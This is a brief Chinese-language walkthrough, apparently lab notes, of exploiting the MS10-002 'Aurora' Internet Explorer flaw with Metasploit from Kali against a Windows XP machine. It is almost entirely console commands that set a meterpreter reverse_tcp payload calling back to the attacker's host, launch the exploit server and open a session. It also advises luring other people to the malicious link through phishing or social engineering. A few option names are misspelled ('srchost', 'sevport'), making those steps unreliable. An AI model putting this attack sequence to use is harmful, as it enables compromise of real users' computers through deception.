kali linux
靶机：xp
二、ms10_002漏洞利用
msf5 exploit(windows/smb/ms08_067_netapi) > search ms10_002_aurora
msf5 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/browser/ms10_002_aurora
msf5 exploit(windows/browser/ms10_002_aurora) > show options
设置srchost（自己kali的地址，让目标主机连接）
msf5 exploit(windows/browser/ms10_002_aurora) > set srchost 192.168.244.128
srchost => 192.168.244.128
msf5 exploit(windows/browser/ms10_002_aurora) > set sevport 8080
sevport => 8080
设置meterpreter
msf5 exploit(windows/browser/ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
设置监听地址(kali主机IP)
msf5 exploit(windows/browser/ms10_002_aurora) > set lhost 192.168.244.128
lhost => 192.168.244.128
msf5 exploit(windows/browser/ms10_002_aurora) > set lport 1123
lport => 1123
msf5 exploit(windows/browser/ms10_002_aurora) > show options
设置target（无需设置）
启动
msf5 exploit(windows/browser/ms10_002_aurora) > run
如下图所示：生成连接http://192.168.244.128:8080/EMoyg47 让其他人访问（钓鱼、社工等等方式 让别人访问）
找个windows IE浏览器访问（这里xp）
到kali查看是否建立会话（如下图所示，成功连接会话）
测试，连接会话
msf5 exploit(windows/browser/ms10_002_aurora) > sessions -i 3